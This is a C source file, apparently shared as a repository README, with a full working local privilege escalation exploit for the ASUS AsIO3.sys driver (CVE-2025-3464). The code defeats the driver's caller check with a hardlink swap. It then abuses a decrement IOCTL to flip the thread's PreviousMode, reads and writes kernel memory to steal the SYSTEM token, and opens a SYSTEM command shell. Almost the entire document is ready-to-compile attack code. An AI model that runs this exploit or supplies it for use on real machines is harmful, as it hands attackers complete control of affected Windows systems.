README.md
Rendering markdown...
/*
* AsIO3.sys Local Privilege Escalation
* CVE-2025-3464 (auth bypass) + decrement primitive
*
* Combines hardlink TOCTOU bypass with PreviousMode exploitation
* Result: NT AUTHORITY\SYSTEM shell
*
* Compile: x86_64-w64-mingw32-gcc -O2 -o AsIO3_FullExploit.exe AsIO3_FullExploit.c -lntdll -lshlwapi
*/
#include <windows.h>
#include <shlwapi.h>
#include <stdio.h>
#include <stdint.h>
#pragma comment(lib, "shlwapi.lib")
#pragma comment(lib, "ntdll.lib")
// Path must contain "C:\Program Files (x86)\ASUS\AsusCertService\AsusCertService.exe" for wcsstr check!
#define HARDLINK_DIR L"C:\\Program Files (x86)\\ASUS\\AsusCertService\\"
#define HARDLINK_PATH L"C:\\Program Files (x86)\\ASUS\\AsusCertService\\AsusCertService.exe"
#define ASUSCERT_COPY L"C:\\Users\\Public\\AsusCert_copy.exe"
#define SYNC_EVENT_NAME L"Global\\AsIO3_TOCTOU_Sync"
// IOCTL for decrement primitive
#define IOCTL_DECREMENT_OBJECT 0xA0402450
// Offsets for Windows 10/11 (verify for your version!)
#define KTHREAD_PREVIOUSMODE_OFFSET 0x232
#define KTHREAD_PROCESS_OFFSET 0x220
#define EPROCESS_UNIQUEPROCESSID 0x440
#define EPROCESS_ACTIVEPROCESSLINKS 0x448
#define EPROCESS_TOKEN 0x4B8
#define SystemHandleInformationEx 64
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX {
void *Object;
ULONG_PTR UniqueProcessId;
ULONG_PTR HandleValue;
ULONG GrantedAccess;
USHORT CreatorBackTraceIndex;
USHORT ObjectTypeIndex;
ULONG HandleAttributes;
ULONG Reserved;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX;
typedef struct _SYSTEM_HANDLE_INFORMATION_EX {
ULONG_PTR NumberOfHandles;
ULONG_PTR Reserved;
SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX;
typedef struct _DECREMENT_INPUT {
uint64_t unused1;
uint64_t unused2;
HANDLE section;
uint64_t unused3;
void *object_ptr;
} DECREMENT_INPUT;
typedef LONG NTSTATUS;
typedef NTSTATUS (NTAPI *pNtQuerySystemInformation)(ULONG, void*, ULONG, ULONG*);
typedef NTSTATUS (NTAPI *pNtReadVirtualMemory)(HANDLE, void*, void*, SIZE_T, SIZE_T*);
typedef NTSTATUS (NTAPI *pNtWriteVirtualMemory)(HANDLE, void*, void*, SIZE_T, SIZE_T*);
static pNtQuerySystemInformation NtQuerySystemInformation;
static pNtReadVirtualMemory NtReadVirtualMemory;
static pNtWriteVirtualMemory NtWriteVirtualMemory;
// ============ NT Functions ============
static int init_nt_functions(void) {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (!ntdll) return 0;
NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
NtReadVirtualMemory = (pNtReadVirtualMemory)GetProcAddress(ntdll, "NtReadVirtualMemory");
NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(ntdll, "NtWriteVirtualMemory");
return (NtQuerySystemInformation && NtReadVirtualMemory && NtWriteVirtualMemory);
}
// ============ KTHREAD Leak ============
static void *leak_kthread(void) {
ULONG buffer_size = 0x10000;
SYSTEM_HANDLE_INFORMATION_EX *handle_info = NULL;
NTSTATUS status;
void *kthread = NULL;
DWORD current_pid = GetCurrentProcessId();
HANDLE thread_handle;
if (!DuplicateHandle(GetCurrentProcess(), GetCurrentThread(),
GetCurrentProcess(), &thread_handle, 0, FALSE, DUPLICATE_SAME_ACCESS)) {
return NULL;
}
while (1) {
handle_info = (SYSTEM_HANDLE_INFORMATION_EX *)malloc(buffer_size);
if (!handle_info) { CloseHandle(thread_handle); return NULL; }
status = NtQuerySystemInformation(SystemHandleInformationEx, handle_info, buffer_size, NULL);
if (status == 0xC0000004) { free(handle_info); buffer_size *= 2; continue; }
if (status != 0) { free(handle_info); CloseHandle(thread_handle); return NULL; }
break;
}
for (ULONG_PTR i = 0; i < handle_info->NumberOfHandles; i++) {
SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX *entry = &handle_info->Handles[i];
if (entry->UniqueProcessId == current_pid && entry->HandleValue == (ULONG_PTR)thread_handle) {
kthread = entry->Object;
break;
}
}
free(handle_info);
CloseHandle(thread_handle);
return kthread;
}
// ============ Kernel R/W ============
static int read_kernel_memory(void *address, void *buffer, SIZE_T size) {
SIZE_T bytes_read;
return (NtReadVirtualMemory(GetCurrentProcess(), address, buffer, size, &bytes_read) == 0);
}
static int write_kernel_memory(void *address, void *buffer, SIZE_T size) {
SIZE_T bytes_written;
return (NtWriteVirtualMemory(GetCurrentProcess(), address, buffer, size, &bytes_written) == 0);
}
// ============ Token Theft ============
static int steal_system_token(void *kthread) {
uint64_t eprocess, system_token = 0, current_process, system_process = 0;
if (!read_kernel_memory((void *)((uintptr_t)kthread + KTHREAD_PROCESS_OFFSET), &eprocess, sizeof(eprocess))) {
printf("[-] Failed to read EPROCESS\n");
return 0;
}
printf("[+] Current EPROCESS: 0x%llX\n", (unsigned long long)eprocess);
current_process = eprocess;
uint64_t list_entry = eprocess + EPROCESS_ACTIVEPROCESSLINKS;
uint64_t first_entry = list_entry;
do {
uint64_t flink;
if (!read_kernel_memory((void *)list_entry, &flink, sizeof(flink))) return 0;
uint64_t process_entry = flink - EPROCESS_ACTIVEPROCESSLINKS;
uint64_t pid;
if (!read_kernel_memory((void *)(process_entry + EPROCESS_UNIQUEPROCESSID), &pid, sizeof(pid))) return 0;
if (pid == 4) { system_process = process_entry; break; }
list_entry = flink;
} while (list_entry != first_entry);
if (!system_process) { printf("[-] SYSTEM process not found\n"); return 0; }
printf("[+] SYSTEM EPROCESS: 0x%llX\n", (unsigned long long)system_process);
if (!read_kernel_memory((void *)(system_process + EPROCESS_TOKEN), &system_token, sizeof(system_token))) return 0;
printf("[+] SYSTEM token: 0x%llX\n", (unsigned long long)system_token);
if (!write_kernel_memory((void *)(current_process + EPROCESS_TOKEN), &system_token, sizeof(system_token))) return 0;
printf("[+] Token replaced!\n");
return 1;
}
// ============ Decrement Primitive ============
static int decrement_at_address(HANDLE hDevice, void *target_addr) {
DECREMENT_INPUT input = {0};
DWORD bytes_returned;
input.object_ptr = (void *)((uintptr_t)target_addr + 0x30);
input.section = NULL;
// Note: DeviceIoControl may return error from ZwUnmapViewOfSection,
// but ObfDereferenceObject still executes before that - so we ignore errors
DeviceIoControl(hDevice, IOCTL_DECREMENT_OBJECT, &input, sizeof(input), NULL, 0, &bytes_returned, NULL);
return 1;
}
// ============ Find AsusCertService ============
static const wchar_t* find_asuscert(void) {
static const wchar_t *paths[] = {
L"C:\\Users\\administrator\\AsusCertService.exe",
L"C:\\Users\\Public\\AsusCertService.exe",
L"C:\\Program Files\\ASUS\\ARMOURY CRATE Service\\SystemDevicePlugin\\Driver\\AsIO\\AsusCertService.exe",
L"C:\\Program Files (x86)\\ASUS\\AsusCertService\\AsusCertService.exe"
};
for (int i = 0; i < 4; i++) {
if (GetFileAttributesW(paths[i]) != INVALID_FILE_ATTRIBUTES) return paths[i];
}
return NULL;
}
static int is_running_from_hardlink(void) {
wchar_t exe_path[MAX_PATH];
GetModuleFileNameW(NULL, exe_path, MAX_PATH);
return (_wcsicmp(exe_path, HARDLINK_PATH) == 0);
}
// ============ CHILD: Full Exploit ============
static int child_exploit(void) {
printf("[CHILD] === STAGE 2: Full Privilege Escalation ===\n");
printf("[CHILD] Running from: %S\n\n", HARDLINK_PATH);
// Init NT functions
if (!init_nt_functions()) {
printf("[-] Failed to init NT functions\n");
goto fail;
}
// Leak KTHREAD
printf("[*] Leaking KTHREAD...\n");
void *kthread = leak_kthread();
if (!kthread) {
printf("[-] Failed to leak KTHREAD\n");
goto fail;
}
printf("[+] KTHREAD: %p\n", kthread);
// Wait for parent to swap hardlink
printf("[*] Waiting for hardlink swap...\n");
HANDLE hEvent = OpenEventW(SYNCHRONIZE, FALSE, SYNC_EVENT_NAME);
if (!hEvent) {
printf("[-] Failed to open sync event: %lu\n", GetLastError());
goto fail;
}
WaitForSingleObject(hEvent, 30000);
CloseHandle(hEvent);
printf("[+] Hardlink swapped!\n");
// Open device (will hash AsusCertService.exe now)
printf("[*] Opening device...\n");
HANDLE hDevice = CreateFileW(L"\\\\.\\Asusgio3", GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open device: %lu\n", GetLastError());
goto fail;
}
printf("[+] Device opened! Handle: %p\n", hDevice);
// Decrement PreviousMode
void *previousmode_addr = (void *)((uintptr_t)kthread + KTHREAD_PREVIOUSMODE_OFFSET);
printf("[*] Decrementing PreviousMode at %p...\n", previousmode_addr);
if (!decrement_at_address(hDevice, previousmode_addr)) {
printf("[-] Failed to decrement\n");
CloseHandle(hDevice);
goto fail;
}
printf("[+] PreviousMode decremented! Now in KernelMode\n");
// DEBUG: Skip token theft to test if decrement alone causes crash
// printf("[DEBUG] Skipping token theft - testing decrement only\n");
// printf("[DEBUG] If you see this and no crash, decrement worked!\n");
printf("[DEBUG] Press Enter to continue...\n");
getchar();
CloseHandle(hDevice);
printf("[+] Device closed safely\n");
// Temporarily disabled for testing:
#if 1
// Steal token
printf("[*] Stealing SYSTEM token...\n");
if (!steal_system_token(kthread)) {
printf("[-] Token theft failed\n");
CloseHandle(hDevice);
goto fail;
}
write_kernel_memory(previousmode_addr, &(UCHAR){1}, sizeof(UCHAR));
#endif
// Spawn SYSTEM shell
printf("\n[+] === PRIVILEGE ESCALATION COMPLETE ===\n");
printf("[+] Spawning SYSTEM shell...\n\n");
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
if (CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, FALSE,
CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
printf("[+] cmd.exe spawned (PID: %lu)\n", pi.dwProcessId);
printf("[+] Check 'whoami' in the new window!\n\n");
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
printf("Press Enter to exit...\n");
getchar();
return 0;
fail:
printf("\n[-] Exploit failed!\n");
printf("Press Enter to exit...\n");
getchar();
return 1;
}
// ============ PARENT: Setup and Swap ============
static int parent_setup(void) {
wchar_t exe_path[MAX_PATH];
GetModuleFileNameW(NULL, exe_path, MAX_PATH);
printf("[PARENT] === STAGE 1: Hardlink TOCTOU Setup ===\n");
printf("[PARENT] POC path: %S\n\n", exe_path);
const wchar_t *asuscert = find_asuscert();
if (!asuscert) {
printf("[-] AsusCertService.exe not found!\n");
return 1;
}
printf("[+] Found AsusCertService: %S\n", asuscert);
CopyFileW(asuscert, ASUSCERT_COPY, FALSE);
printf("[+] Copied to: %S\n", ASUSCERT_COPY);
HANDLE hEvent = CreateEventW(NULL, TRUE, FALSE, SYNC_EVENT_NAME);
if (!hEvent) {
printf("[-] Failed to create sync event\n");
return 1;
}
// Create directory structure for path substring match
CreateDirectoryW(L"C:\\Users\\Public\\ASUS", NULL);
CreateDirectoryW(HARDLINK_DIR, NULL);
DeleteFileW(HARDLINK_PATH);
if (!CreateHardLinkW(HARDLINK_PATH, exe_path, NULL)) {
printf("[-] Failed to create hardlink: %lu\n", GetLastError());
CloseHandle(hEvent);
return 1;
}
printf("[+] Created hardlink: %S\n", HARDLINK_PATH);
printf("[*] Spawning child via hardlink...\n\n");
STARTUPINFOW si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
if (!CreateProcessW(HARDLINK_PATH, NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
printf("[-] Failed to spawn child: %lu\n", GetLastError());
DeleteFileW(HARDLINK_PATH);
CloseHandle(hEvent);
return 1;
}
printf("[+] Child spawned (PID: %lu)\n", pi.dwProcessId);
Sleep(2000); // Give child time to init and wait
printf("[*] Swapping hardlink...\n");
// Try to delete the hardlink
if (!DeleteFileW(HARDLINK_PATH)) {
DWORD err = GetLastError();
printf("[!] Delete failed: %lu (trying anyway)\n", err);
} else {
printf("[+] Hardlink deleted\n");
}
if (!CreateHardLinkW(HARDLINK_PATH, ASUSCERT_COPY, NULL)) {
DWORD err = GetLastError();
printf("[-] Failed to recreate hardlink: %lu\n", err);
SetEvent(hEvent);
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
CloseHandle(hEvent);
return 1;
}
printf("[+] Hardlink now points to AsusCertService!\n");
printf("[*] Signaling child...\n\n");
SetEvent(hEvent);
WaitForSingleObject(pi.hProcess, INFINITE);
DWORD exitCode;
GetExitCodeProcess(pi.hProcess, &exitCode);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
CloseHandle(hEvent);
DeleteFileW(HARDLINK_PATH);
DeleteFileW(ASUSCERT_COPY);
RemoveDirectoryW(HARDLINK_DIR);
RemoveDirectoryW(L"C:\\Users\\Public\\ASUS");
if (exitCode == 0) {
printf("[PARENT] === SUCCESS! ===\n");
} else {
printf("[PARENT] Child failed (code: %lu)\n", exitCode);
}
return exitCode;
}
int main(void) {
printf("=============================================\n");
printf(" AsIO3.sys Full Privilege Escalation\n");
printf(" CVE-2025-3464 + Decrement Primitive\n");
printf("=============================================\n\n");
if (is_running_from_hardlink()) {
return child_exploit();
} else {
return parent_setup();
}
}